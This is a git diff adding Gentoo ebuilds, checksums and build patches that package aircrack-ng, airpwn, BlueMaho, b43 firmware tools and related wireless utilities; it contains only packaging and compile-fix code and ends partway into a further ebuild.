+diff -Naur aircrack-ng-1.1-orig/src/aireplay-ng.c aircrack-ng-1.1/src/aireplay-ng.c
+--- aircrack-ng-1.1-orig/src/aireplay-ng.c	2011-01-11 19:45:09.000000000 -0500
++++ aircrack-ng-1.1/src/aireplay-ng.c	2011-01-11 19:44:34.000000000 -0500
+@@ -205,7 +205,9 @@
+ "\n"
+ "  Miscellaneous options:\n"
+ "\n"
+-"      -R        : disable /dev/rtc usage\n"
++"      -R                     : disable /dev/rtc usage\n"
++"      --ignore-negative-one  : if the interface's channel can't be determined,\n"
++"                               ignore the mismatch, needed for unpatched cfg80211\n"
+ "\n"
+ "  Attack modes (numbers can still be used):\n"
+ "\n"
+@@ -274,6 +276,7 @@
+     int bittest;
+ 
+     int nodetect;
++    int ignore_negative_one;
+     int rtc;
+ 
+     int reassoc;
+@@ -723,6 +726,13 @@
+ 
+     iface_chan = wi_get_channel(wi);
+ 
++    if(iface_chan == -1 && !opt.ignore_negative_one)
++    {
++        PCT; printf("Couldn't determine current channel for %s, you should either force the operation with --ignore-negative-one or apply a kernel patch\n",
++                wi_get_ifname(wi));
++        return -1;
++    }
++
+     if(bssid != NULL)
+     {
+         ap_chan = wait_for_beacon(bssid, capa, essid);
+@@ -731,7 +741,7 @@
+             PCT; printf("No such BSSID available.\n");
+             return -1;
+         }
+-        if(ap_chan != iface_chan)
++        if((ap_chan != iface_chan) && (iface_chan != -1 || !opt.ignore_negative_one))
+         {
+             PCT; printf("%s is on channel %d, but the AP uses channel %d\n", wi_get_ifname(wi), iface_chan, ap_chan);
+             return -1;
+@@ -6318,6 +6328,7 @@
+             {"fast",        0, 0, 'F'},
+             {"bittest",     0, 0, 'B'},
+             {"migmode",     0, 0, 'W'},
++            {"ignore-negative-one", 0, &opt.ignore_negative_one, 1},
+             {0,             0, 0,  0 }
+         };
+ 
diff --git a/net-wireless/aircrack-ng/files/pic-fix.patch b/net-wireless/aircrack-ng/files/pic-fix.patch
new file mode 100644
index 00000000..20c1c900
--- /dev/null
+++ b/net-wireless/aircrack-ng/files/pic-fix.patch
@@ -0,0 +1,175 @@
+2010-11-10	Francisco Blas Izquierdo Riera <klondike@xiscosoft.es>
+
+		#285703
+		* src/sha1-sse2.S: 			Add support for x86 and AMD64
+This patch is licensed uder the same LICENSE as aircrack-ng
+
+diff -ru aircrack-ng-1.1.old/src/sha1-sse2.S aircrack-ng-1.1/src/sha1-sse2.S
+--- aircrack-ng-1.1.old/src/sha1-sse2.S	2010-01-22 02:01:28.000000000 +0100
++++ aircrack-ng-1.1/src/sha1-sse2.S	2011-02-26 06:22:37.061208191 +0100
+@@ -8,9 +8,36 @@
+ // input blocks must be (four bytes) interleaved.
+ 
+ #if defined(__x86_64__) && defined(__APPLE__)
++#define PRELOAD(x)
+ #define MANGLE(x) x(%rip)
++#define INIT_PIC()
++#define END_PIC()
+ #else
++#ifdef __PIC__
++
++#ifdef __x86_64__
++#define PRELOAD(x)  movq x@GOTPCREL(%rip), %rbx;
++#define MANGLE(x)   (%rbx)
++#define INIT_PIC()  pushq %rbx
++#define END_PIC()   popq  %rbx
++#else
++#undef __i686 /* gcc builtin define gets in our way */
++#define PRELOAD(x)  
++#define MANGLE(x)   x ## @GOTOFF(%ebx)
++#define INIT_PIC() \
++	call __i686.get_pc_thunk.bx ; \
++	addl $_GLOBAL_OFFSET_TABLE_, %ebx
++#define END_PIC()
++#endif
++
++#else
++
++#define PRELOAD(x)  
+ #define MANGLE(x) x
++#define INIT_PIC()
++#define END_PIC()
++
++#endif
+ #endif
+ 
+ #if defined(__i386__) || defined(__x86_64__)
+@@ -142,12 +169,15 @@
+         paddd  tmp2, e;                         \
+         movdqa   b, tmp2;                         \
+         pslld  $30, b;                          \
++        PRELOAD(k)				\
+         paddd  MANGLE(k), e;							\
+         psrld  $2, tmp2;                        \
+         por    tmp2, b;                         \
+         movdqa   (data*16)(edx_rsi), tmp1;            \
+         movdqa   tmp1, tmp2;                      \
++        PRELOAD(const_ff00)				\
+         pand   MANGLE(const_ff00), tmp1;                \
++        PRELOAD(const_00ff)				\
+         pand   MANGLE(const_00ff), tmp2;                \
+         psrld  $8, tmp1;                        \
+         pslld  $8, tmp2;                        \
+@@ -181,6 +211,7 @@
+         paddd  tmp2, e;                         \
+         movdqa   b, tmp2;                         \
+         pslld  $30, b;                          \
++        PRELOAD(k)				\
+         paddd  MANGLE(k), e;                            \
+         psrld  $2, tmp2;                        \
+         por    tmp2, b;
+@@ -192,10 +223,16 @@
+  shasse2_init:
+ _shasse2_init:
+ 
++        INIT_PIC()
++        PRELOAD(const_init_a)
+         movdqa   MANGLE(const_init_a), ctxa
++        PRELOAD(const_init_b)
+         movdqa   MANGLE(const_init_b), ctxb
++        PRELOAD(const_init_c)
+         movdqa   MANGLE(const_init_c), ctxc
++        PRELOAD(const_init_d)
+         movdqa   MANGLE(const_init_d), ctxd
++        PRELOAD(const_init_e)
+         movdqa   MANGLE(const_init_e), ctxe
+ 
+         movdqa   ctxa, 0(eax_rdi)
+@@ -203,6 +240,7 @@
+         movdqa   ctxc, 32(eax_rdi)
+         movdqa   ctxd, 48(eax_rdi)
+         movdqa   ctxe, 64(eax_rdi)
++        END_PIC()
+ 
+         ret
+ 
+@@ -212,17 +250,20 @@
+  shasse2_ends:
+ _shasse2_ends:
+ 
+-        movdqa    0(eax_rdi), ctxa
++        INIT_PIC()
++	movdqa    0(eax_rdi), ctxa
+         movdqa   16(eax_rdi), ctxb
+         movdqa   32(eax_rdi), ctxc
+         movdqa   48(eax_rdi), ctxd
+         movdqa   64(eax_rdi), ctxe
+ 
++        PRELOAD(const_ff00)
+         movdqa   MANGLE(const_ff00), tmp3
+         movdqa   ctxa, tmp1
+         movdqa   ctxb, tmp2
+         pand   tmp3, ctxa
+         pand   tmp3, ctxb
++        PRELOAD(const_00ff)
+         movdqa   MANGLE(const_00ff), tmp3
+         pand   tmp3, tmp1
+         pand   tmp3, tmp2
+@@ -243,6 +284,7 @@
+         movdqa   ctxa,  0(edx_rsi)
+         movdqa   ctxb,  16(edx_rsi)
+ 
++        PRELOAD(const_ff00)
+         movdqa   MANGLE(const_ff00), tmp5
+         movdqa   ctxc, tmp1
+         movdqa   ctxd, tmp2
+@@ -250,6 +292,7 @@
+         pand   tmp5, ctxc
+         pand   tmp5, ctxd
+         pand   tmp5, ctxe
++        PRELOAD(const_00ff)
+         movdqa   MANGLE(const_00ff), tmp5
+         pand   tmp5, tmp1
+         pand   tmp5, tmp2
+@@ -279,6 +322,7 @@
+         movdqa   ctxc, 32(edx_rsi)
+         movdqa   ctxd, 48(edx_rsi)
+         movdqa   ctxe, 64(edx_rsi)
++        END_PIC()
+ 
+         ret
+ 
+@@ -289,6 +333,7 @@
+  shasse2_data:
+ _shasse2_data:
+ 
++        INIT_PIC()
+         movdqa    0(eax_rdi), ctxa
+         movdqa   16(eax_rdi), ctxb
+         movdqa   32(eax_rdi), ctxc
+@@ -400,6 +445,7 @@
+         movdqa    ctxc, 32(eax_rdi)
+         movdqa    ctxd, 48(eax_rdi)
+         movdqa    ctxe, 64(eax_rdi)
++        END_PIC()
+ 
+         ret
+ 
+@@ -462,6 +508,17 @@
+ 		pop		%ebx
+ #endif
+ 		ret
++#ifdef __i386__
++#ifdef __PIC__
++	.section .gnu.linkonce.t.__i686.get_pc_thunk.bx,"ax",@progbits
++.globl __i686.get_pc_thunk.bx
++	.hidden  __i686.get_pc_thunk.bx
++	.type    __i686.get_pc_thunk.bx,@function
++__i686.get_pc_thunk.bx:
++	movl (%esp), %ebx
++	ret
++#endif
++#endif
+ #endif
+ 
+ 
diff --git a/net-wireless/aircrackgui-m4/Manifest b/net-wireless/aircrackgui-m4/Manifest
new file mode 100644
index 00000000..2477f3ef
--- /dev/null
+++ b/net-wireless/aircrackgui-m4/Manifest
@@ -0,0 +1,2 @@
+DIST aircrackgui-m4-0.7.0.tar.bz2 4515172 RMD160 5fd6c93f7f46b08e0ba8f0557926c4608972fca5 SHA1 fd4d608b0bc9762ce1eda9a481aee316da4ddbde SHA256 b424831f9e45fc16c7c42122f7b7ea56cd1dfb328552080e6d911dee96e562d5
+EBUILD aircrackgui-m4-0.7.0.ebuild 1349 RMD160 3554c7e5b657997d2f1e7ad8627b5eb15b05385d SHA1 3b46faf25f0d60cab4f2dab82dadc4b1c746f615 SHA256 b6ccf67f81fb9cbd217ae3e2df0d4d9cd510cae970bbdaa29a2d579d4bd67edb
diff --git a/net-wireless/aircrackgui-m4/aircrackgui-m4-0.7.0.ebuild b/net-wireless/aircrackgui-m4/aircrackgui-m4-0.7.0.ebuild
new file mode 100644
index 00000000..da65e31f
--- /dev/null
+++ b/net-wireless/aircrackgui-m4/aircrackgui-m4-0.7.0.ebuild
@@ -0,0 +1,48 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+inherit qt4-r2
+
+DESCRIPTION=""
+HOMEPAGE=""
+SRC_URI="http://aircrackgui-m4.googlecode.com/files/aircrack-GUI-M4%200.7.0%20Final-Source.tar.bz2 -> ${P}.tar.bz2"
+
+LICENSE=""
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+
+DEPEND=">=x11-libs/qt-gui-4.7.3
+	>=x11-libs/qt-core-4.7.3"
+RDEPEND="${DEPEND}
+	net-analyzer/macchanger
+	net-wireless/aircrack-ng"
+
+S="${WORKDIR}/aircrack-GUI-M4 0.7.0 Final-Source"
+
+src_prepare() {
+	sed -i 's#aircrack-ng-1.1-M4/src/airodump-ng#/usr/sbin/airodump-ng#g' DEFINES.h
+	sed -i 's#aircrack-ng-1.1-M4/src/aireplay-ng#/usr/sbin/aireplay-ng#g' DEFINES.h
+	sed -i 's#aircrack-ng-1.1-M4/src/aircrack-ng#/usr/bin/aircrack-ng#g' DEFINES.h
+	sed -i 's#binutils/macchanger#/usr/bin/macchanger#g' DEFINES.h
+	#sed -i 's#airmon-ng#airmon-zc#g' DEFINES.h
+
+	#I'm not 100% certain on if this will work but...
+	sed -i 's#captures#/tmp/captures#g' DEFINES.h
+	sed -i 's#arp_replays#/tmp/arp_replays#g' DEFINES.h
+	sed -i 's#frag_caps#/tmp/frag_caps#g' DEFINES.h
+	sed -i 's#chop_caps#/tmp/chop_caps#g' DEFINES.h
+	sed -i 's#forged_arps#/tmp/forged_arps#g' DEFINES.h
+	sed -i 's#broadcast_caps#/tmp/broadcast_caps#g' DEFINES.h
+}
+
+src_compile() {
+	eqmake4 -config release
+	emake
+}
+
+src_install() {
+	dosbin aircrack-GUI
+}
diff --git a/net-wireless/airoscript/Manifest b/net-wireless/airoscript/Manifest
new file mode 100644
index 00000000..b019246d
--- /dev/null
+++ b/net-wireless/airoscript/Manifest
@@ -0,0 +1 @@
+EBUILD airoscript-9999.ebuild 812 RMD160 9ebd8d5c1feb1a73a9d2bd1a69da7cc998d8f504 SHA1 456148121f07a227fc52270c674edc509070225a SHA256 f4a323f17b0317fb6853a58372c03e84117b09c96b7a22c44db66db18d1e6965
diff --git a/net-wireless/airoscript/airoscript-9999.ebuild b/net-wireless/airoscript/airoscript-9999.ebuild
new file mode 100644
index 00000000..003597b4
--- /dev/null
+++ b/net-wireless/airoscript/airoscript-9999.ebuild
@@ -0,0 +1,29 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+inherit eutils subversion
+
+DESCRIPTION="N00b scripts for aircrack-ng :-)"
+HOMEPAGE="http://www.aircrack-ng.org/"
+SRC_URI=""
+ESVN_REPO_URI="http://trac.aircrack-ng.org/svn/branch/airoscript-ng"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE=""
+
+DEPEND="${RDEPEND}"
+RDEPEND="net-wireless/wireless-tools
+	net-wireless/aircrack-ng"
+
+src_compile() {
+	elog "Nothing to compile"
+}
+
+src_install () {
+	sed -e '/PREFIX/ s:/usr/local:/usr:' -e '/MDK3/ s:local/::' -i src/conffiles/airoscript.conf
+	emake -j1 prefix="${D}" sysconfdir="${D}etc" datarootdir="${D}usr/share" execprefix="${D}usr" install || die "emake install failed"
+	rm -rf "${D}/etc/screenrc" "${D}/usr/share/locale/es_ES"
+}
diff --git a/net-wireless/airpwn/Manifest b/net-wireless/airpwn/Manifest
new file mode 100644
index 00000000..4ec2b16c
--- /dev/null
+++ b/net-wireless/airpwn/Manifest
@@ -0,0 +1,2 @@
+DIST airpwn-1.4.tgz 910109 RMD160 4703b31cbf70b5d7fac4b921722c81fde5e29bc7 SHA1 30df2f76cbbf35a9aa4053fa622f5249f2960e88 SHA256 f689cd5a9038832cb0aaefa18cae0c282a6bfbeea38819cf47f306f14344e164
+EBUILD airpwn-1.4-r1.ebuild 902 RMD160 1fe28858e156bcc5cf856e133292706b553f678f SHA1 7b562c002900e6a71963c26af66cf545f7098d58 SHA256 9c2bb7938cf52299406ceb456ecddee160160f50009b0ad2f5c0dc033f09512d
diff --git a/net-wireless/airpwn/airpwn-1.4-r1.ebuild b/net-wireless/airpwn/airpwn-1.4-r1.ebuild
new file mode 100644
index 00000000..6334c43e
--- /dev/null
+++ b/net-wireless/airpwn/airpwn-1.4-r1.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit python flag-o-matic
+
+DESCRIPTION="a tool for generic packet injection on 802.11"
+HOMEPAGE="http://airpwn.sf.net"
+SRC_URI="mirror://sourceforge/airpwn/$P.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE="+examples"
+
+DEPEND=""
+RDEPEND="net-wireless/lorcon-old
+		 net-libs/libnet
+		 dev-lang/python"
+
+src_configure() {
+	append-ldflags $(no-as-needed)
+	econf
+	# this is a huge mess...
+	sed -i "s/python2.4/python$(python_get_version)/g" conf.h || die "sed failed"
+	sed -i "s|-lssl -lorcon -lpthread -lpcre -lpcap -lnet|-lssl -lorcon -lpthread -lpcre -lpcap -lnet -lpython$(python_get_version)|g" Makefile || die "sed failed"
+}
+
+src_install() {
+	DESTDIR="${D}" emake install
+	dodoc README
+	if use examples; then
+		docinto sample-configs
+		dodoc conf/*
+	fi
+}
diff --git a/net-wireless/b43-openfwwf/Manifest b/net-wireless/b43-openfwwf/Manifest
new file mode 100644
index 00000000..7b262b6e
--- /dev/null
+++ b/net-wireless/b43-openfwwf/Manifest
@@ -0,0 +1,2 @@
+DIST openfwwf-5.2.tar.gz 48525 RMD160 f9b2ad6d0d54f53a3d3b0ff5583b97dac1d20707 SHA1 ce3b6b10ad27a731785665e169f3360ecc5337c5 SHA256 9de03320083201080b2e94b81637ac07a159cf4e6f3481383e1a217e627bc0dc
+EBUILD b43-openfwwf-5.2.ebuild 509 RMD160 49b6297e6f97b3fc8e745a362fbf5ffe7693252a SHA1 d972873a0befbb7c238c36eaf00bc29c6f438018 SHA256 e9aa12e3bb241926d3601147be29c00461837e41aad5ca83f53fd1ef360d18b8
diff --git a/net-wireless/b43-openfwwf/b43-openfwwf-5.2.ebuild b/net-wireless/b43-openfwwf/b43-openfwwf-5.2.ebuild
new file mode 100644
index 00000000..9dc27fa4
--- /dev/null
+++ b/net-wireless/b43-openfwwf/b43-openfwwf-5.2.ebuild
@@ -0,0 +1,21 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+DESCRIPTION="OpenBroadcom Firmware"
+HOMEPAGE="http://www.ing.unibs.it/openfwwf/"
+SRC_URI="http://www.ing.unibs.it/openfwwf/firmware/openfwwf-${PV}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE=""
+
+DEPEND="net-wireless/b43-tools[assembler]"
+S="${WORKDIR}/openfwwf-${PV}"
+
+src_install() {
+	emake PREFIX="${D}"/lib/firmware/b43-open install || die "emake failed"
+}
diff --git a/net-wireless/b43-tools/Manifest b/net-wireless/b43-tools/Manifest
new file mode 100644
index 00000000..12ef12f1
--- /dev/null
+++ b/net-wireless/b43-tools/Manifest
@@ -0,0 +1 @@
+EBUILD b43-tools-9999.ebuild 1731 SHA256 a3432521d885c2802ca2268a95c728bd10cb1ca7bd503af6c170f3fafb6fd472 SHA512 a16f720d05f6644eaa3a8e941349f0ca73447f5527a963a70a1316abb829b285ff428225f661b37bde37999229c8c089c6fea35f76eca2f0cff99fb2cd5760d3 WHIRLPOOL 56f1957e60f0d3574a01cad2e7a403dacbe7cdc83a4192ce249e80dbabd971030fae4487cecb123bbf37d972d15f72cc080ea733182ea3e064ad1305d8ab4d82
diff --git a/net-wireless/b43-tools/b43-tools-9999.ebuild b/net-wireless/b43-tools/b43-tools-9999.ebuild
new file mode 100644
index 00000000..54c3f239
--- /dev/null
+++ b/net-wireless/b43-tools/b43-tools-9999.ebuild
@@ -0,0 +1,72 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit git-2 python
+
+DESCRIPTION="Tools for developers working on broadcom drivers/firmware"
+HOMEPAGE="http://bu3sch.de/gitweb?p=b43-tools.git;a=summary"
+SRC_URI=""
+EGIT_REPO_URI="git://git.bues.ch/b43-tools.git"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="+assembler debug disassembler fwcutter +ssb_sprom"
+
+RDEPEND="fwcutter? ( net-wireless/b43-fwcutter )"
+DEPEND="${RDEPEND}
+	sys-devel/flex"
+
+src_compile() {
+
+	if use assembler; then
+		cd "${S}"/assembler
+		emake || die "emake assembler failed"
+	fi
+
+	if use disassembler; then
+		cd "${S}"/disassembler
+		emake || die "emake disassembler failed"
+	fi
+
+	if use fwcutter; then
+	einfo "Firmware cutter from b43-tools will NOT be installed. Use net-wireless/b43-fwcutter instead."
+#        cd "${S}"/fwcutter
+#        emake || die "emake fwcutter failed"
+	fi
+
+	if use ssb_sprom; then
+		cd "${S}"/ssb_sprom
+		emake || die "emake ssb_sprom failed"
+	fi
+}
+
+src_install() {
+	if use assembler; then
+		dobin "${S}"/assembler/b43-asm.bin
+		sed -e 's/installed=0/installed=1/' -i "${S}"/assembler/b43-asm
+		dobin "${S}"/assembler/b43-asm
+	fi
+
+## install debug, I'm guessing this needs a few deps, and what not
+	if use debug; then
+		cd "${S}"/debug
+		insinto /usr/lib/python$(python_get_version)/
+		doins libb43.py
+		dobin b43-beautifier b43-fwdump patcher-template
+	fi
+
+	if use disassembler; then
+		dobin "${S}"/disassembler/b43-dasm
+		dobin "${S}"/disassembler/b43-ivaldump
+	fi
+
+	if use ssb_sprom; then
+		dobin "${S}"/ssb_sprom/ssb-sprom
+	fi
+
+	einfo "The docs are not packaged properly if you use dodoc README several times, feel free to fix it"
+}
diff --git a/net-wireless/bluemaho/Manifest b/net-wireless/bluemaho/Manifest
new file mode 100644
index 00000000..833f54cc
--- /dev/null
+++ b/net-wireless/bluemaho/Manifest
@@ -0,0 +1,4 @@
+AUX bluemaho 50 RMD160 cebb4ff4c66cb943be41657308af2361db0ce411 SHA1 e79152cfde43f31cf7ff2c1c3a08ff359dec0219 SHA256 1623940d95c958f9dcdb0c5dd8e114dc16431baa9a4c0a1ddc8d44c52022a876
+AUX btftp-libxml.patch 1065 RMD160 c2bb428225879824bb9c30e25790821664c0ec5f SHA1 16911c47c073a82d291b787a894ce3db04dfcbb4 SHA256 c8b83e3fad9952c5a0dd47daff487c896df86c3bed635da715af842322f093c5
+DIST BlueMaho?action=AttachFile&do=get&target=bluemaho_v090417.tgz 916884 RMD160 57ed5b2967ef659b8e2a80bb8d3ff3908e27341b SHA1 216db6f836b20b7f70f3a56bec95ab0a607a2af5 SHA256 9b36bcf73a59d7c03a2262287c4aa37fbd308801d6fa4d3cbc86b9d15ad7ff1c
+EBUILD bluemaho-090417-r1.ebuild 928 RMD160 367180083b50d487a04102a89f077ba062dcc1cb SHA1 51d1c616d2952efd9fa5342271b2e37040445035 SHA256 e2c5bb9c86129806338692b44f348af369273c4d7bdd1218dd133cff0b6c60ec
diff --git a/net-wireless/bluemaho/bluemaho-090417-r1.ebuild b/net-wireless/bluemaho/bluemaho-090417-r1.ebuild
new file mode 100644
index 00000000..8e84602e
--- /dev/null
+++ b/net-wireless/bluemaho/bluemaho-090417-r1.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit eutils
+
+MY_P="${PN}_v${PV}"
+
+DESCRIPTION="BlueMaho is GUI-shell (interface) for suite of tools for testing security of bluetooth devices"
+HOMEPAGE="http://wiki.thc.org/BlueMaho"
+SRC_URI="http://wiki.thc.org/BlueMaho?action=AttachFile&do=get&target=${MY_P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="x86"
+IUSE=""
+RDEPEND="net-wireless/bluez[test-programs]
+	 net-wireless/bt-audit
+	 dev-libs/libxml2
+	 dev-python/wxpython
+	 dev-libs/libusb
+	 sys-libs/readline"
+DEPEND="${RDEPEND}"
+S="${WORKDIR}/${MY_P/_v/-}"
+
+src_compile() {
+	epatch "${FILESDIR}"/btftp-libxml.patch
+	sed -e 's/Eterm/xterm/'	-i config/default.conf
+	cd config
+	sh build.sh || die "emake failed"
+}
+
+src_install() {
+	dodir /usr/lib/${PN}
+	cp -R "${S}"/* "${D}"/usr/lib/${PN} || die "Copy files failed"
+	dobin "${FILESDIR}/${PN}"
+}
diff --git a/net-wireless/bluemaho/files/bluemaho b/net-wireless/bluemaho/files/bluemaho
new file mode 100644
index 00000000..4089d08b
--- /dev/null
+++ b/net-wireless/bluemaho/files/bluemaho
@@ -0,0 +1,4 @@
+#!/bin/sh
+
+cd /usr/lib/bluemaho/
+./bluemaho.py $@
diff --git a/net-wireless/bluemaho/files/btftp-libxml.patch b/net-wireless/bluemaho/files/btftp-libxml.patch
new file mode 100644
index 00000000..d63add34
--- /dev/null
+++ b/net-wireless/bluemaho/files/btftp-libxml.patch
@@ -0,0 +1,21 @@
+diff -Naur bluemaho-090417.orig/tools/sources/btftp-0.1/Makefile bluemaho-090417/tools/sources/btftp-0.1/Makefile
+--- bluemaho-090417.orig/tools/sources/btftp-0.1/Makefile	2009-04-17 17:37:30.000000000 +0000
++++ bluemaho-090417/tools/sources/btftp-0.1/Makefile	2009-05-12 13:31:50.000000000 +0000
+@@ -1,2 +1,2 @@
+ all: obex.c sdp.c folder.c main.c
+-	gcc -lbluetooth -lopenobex -lreadline -lxml2 obex.c sdp.c folder.c main.c -o btftp
++	gcc -I/usr/include/libxml2/ -lbluetooth -lopenobex -lreadline -lxml2 obex.c sdp.c folder.c main.c -o btftp
+diff -Naur bluemaho-090417.orig/tools/sources/btftp-0.1/folder.c bluemaho-090417/tools/sources/btftp-0.1/folder.c
+--- bluemaho-090417.orig/tools/sources/btftp-0.1/folder.c	2009-04-17 17:37:30.000000000 +0000
++++ bluemaho-090417/tools/sources/btftp-0.1/folder.c	2009-05-12 13:31:26.000000000 +0000
+@@ -29,8 +29,8 @@
+ #include <time.h>
+ #include <sys/param.h>
+ 
+-#include <gnome-xml/xmlmemory.h>
+-#include <gnome-xml/parser.h>
++#include <libxml/xmlmemory.h>
++#include <libxml/parser.h>
+ 
+ #include "goep.h"
+ #include "ftp.h"
diff --git a/net-wireless/broadcom-firmware-downloader/Manifest b/net-wireless/broadcom-firmware-downloader/Manifest
new file mode 100644
index 00000000..5c9b1279
--- /dev/null
+++ b/net-wireless/broadcom-firmware-downloader/Manifest
@@ -0,0 +1,5 @@
+DIST broadcom-wl-4.150.10.5.tar.bz2 3888794 RMD160 2a0a24aefbd0f979ce1ef6e24585bd792a88d09b SHA1 2dc21875dae79113b31d1dd16179ab3431d0f0ae SHA256 a9f4e276a4d8d3a1cd0f2eb87080ae89b77f0a7140f06d4e9e2135fc44fdd533
+DIST broadcom-wl-5.100.138.tar.bz2 13514651 RMD160 ae063717a89648c0b4e4b9aa09348e7ec9f1461c SHA1 21691a8c99c66f58d18f863ee43593d1633b454c SHA256 f1e7067aac5b62b67b8b6e4c517990277804339ac16065eb13c731ff909ae46f
+DIST wl_apsta-3.130.20.0.o 652866 RMD160 504dd0cdff52b480d9871269eb9827071d85a6b2 SHA1 b1f61d283bd7d05ade313da522cb0d0ad4033652 SHA256 7dba610b1d96dd14e901bcbce14cd6ecd1b1ac6f5c0035b0d6b6dc46a7c3ef90
+EBUILD broadcom-firmware-downloader-0.1-r2.ebuild 1211 RMD160 f6ea1df2adea5eb9b68cf4e7c4b586c6c3bd57f2 SHA1 4b5b211267deb020a3416b8d5eb4385be9bbb1d8 SHA256 c65f846bea07fdd6cc431803a8e2d001dfbb2a752701dd7550484a846d40897e
+EBUILD broadcom-firmware-downloader-0.2.ebuild 1205 RMD160 fe3d9afe6a72644b842e9c485e405f44971e7fae SHA1 01517fa46baac05049de965e22734546161fab2e SHA256 8bce0593353043d5c18f11ff6085f63e25134c0a1e7cbac0be3ffd200c40440a
diff --git a/net-wireless/broadcom-firmware-downloader/broadcom-firmware-downloader-0.1-r2.ebuild b/net-wireless/broadcom-firmware-downloader/broadcom-firmware-downloader-0.1-r2.ebuild
new file mode 100644
index 00000000..703f3a2e
--- /dev/null
+++ b/net-wireless/broadcom-firmware-downloader/broadcom-firmware-downloader-0.1-r2.ebuild
@@ -0,0 +1,29 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+DESCRIPTION="Closed Broadcom Commercial Firmware Downloader"
+HOMEPAGE="http://linuxwireless.org/en/users/Drivers/b43"
+SRC_URI="b43? ( http://mirror2.openwrt.org/sources/broadcom-wl-4.150.10.5.tar.bz2 )
+	b43legacy? ( http://downloads.openwrt.org/sources/wl_apsta-3.130.20.0.o )"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE="+b43 +b43legacy"
+RESTRICT="strip"
+
+DEPEND=""
+RDEPEND="net-wireless/b43-fwcutter"
+
+src_install() {
+	dodir /lib/firmware/broadcom-unmodified || die "failed to create dir"
+	insinto /lib/firmware/broadcom-unmodified
+	if use b43; then doins "${WORKDIR}"/broadcom-wl-4.150.10.5/driver/wl_apsta_mimo.o || die "failed to install b43 files"; fi;
+	if use b43legacy; then doins "${DISTDIR}"/wl_apsta-3.130.20.0.o || die "failed to install b43legacy files"; fi;
+	einfo "Unmolested Broadcom firmware files have been downloaded from openwrt and stored on the hdd."
+	einfo "No changes to the files have been made, only unmodified files have been distributed."
+	einfo "If the user wishes these firmware in a useful way then emerge broadcom-firmware-installer."
+}
diff --git a/net-wireless/broadcom-firmware-downloader/broadcom-firmware-downloader-0.2.ebuild b/net-wireless/broadcom-firmware-downloader/broadcom-firmware-downloader-0.2.ebuild
new file mode 100644
index 00000000..3410464a
--- /dev/null
+++ b/net-wireless/broadcom-firmware-downloader/broadcom-firmware-downloader-0.2.ebuild
@@ -0,0 +1,29 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+DESCRIPTION="Closed Broadcom Commercial Firmware Downloader"
+HOMEPAGE="http://linuxwireless.org/en/users/Drivers/b43"
+SRC_URI="b43? ( http://www.lwfinger.com/b43-firmware/broadcom-wl-5.100.138.tar.bz2 )
+	b43legacy? ( http://downloads.openwrt.org/sources/wl_apsta-3.130.20.0.o )"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE="+b43 +b43legacy"
+RESTRICT="strip"
+
+DEPEND=""
+RDEPEND="net-wireless/b43-fwcutter"
+
+src_install() {
+	dodir /lib/firmware/broadcom-unmodified || die "failed to create dir"
+	insinto /lib/firmware/broadcom-unmodified
+	if use b43; then doins "${WORKDIR}"/broadcom-wl-5.100.138/linux/wl_apsta.o || die "failed to install b43 files"; fi;
+	if use b43legacy; then doins "${DISTDIR}"/wl_apsta-3.130.20.0.o || die "failed to install b43legacy files"; fi;
+	einfo "Unmolested Broadcom firmware files have been downloaded from openwrt and stored on the hdd."
+	einfo "No changes to the files have been made, only unmodified files have been distributed."
+	einfo "If the user wishes these firmware in a useful way then emerge broadcom-firmware-installer."
+}
diff --git a/net-wireless/broadcom-firmware-installer/Manifest b/net-wireless/broadcom-firmware-installer/Manifest
new file mode 100644
index 00000000..3e354f8d
--- /dev/null
+++ b/net-wireless/broadcom-firmware-installer/Manifest
@@ -0,0 +1,2 @@
+EBUILD broadcom-firmware-installer-0.1-r3.ebuild 1724 RMD160 0abc32d0dae0e07eeedd2424d97028da6237bb40 SHA1 740a4c07180b9dd0c9777487db7c4fc15638940e SHA256 61c73a090367b47c5364d6a71afa8ad14014c35354e6b8ca11297a91e9e4c116
+EBUILD broadcom-firmware-installer-0.2.ebuild 1726 RMD160 0cf422ac50be32a689b5618396f09e663fd038e0 SHA1 d366df6d7ef5b46e56c8f27283e3bed7ceadb7e2 SHA256 6a0feb9951b644a0d1d51633ef43e08ad14fb550b8c30954484715c97de5b2b1
diff --git a/net-wireless/broadcom-firmware-installer/broadcom-firmware-installer-0.1-r3.ebuild b/net-wireless/broadcom-firmware-installer/broadcom-firmware-installer-0.1-r3.ebuild
new file mode 100644
index 00000000..e87736c7
--- /dev/null
+++ b/net-wireless/broadcom-firmware-installer/broadcom-firmware-installer-0.1-r3.ebuild
@@ -0,0 +1,51 @@
+# Copyright 1999-2010 Gentoo Foundation
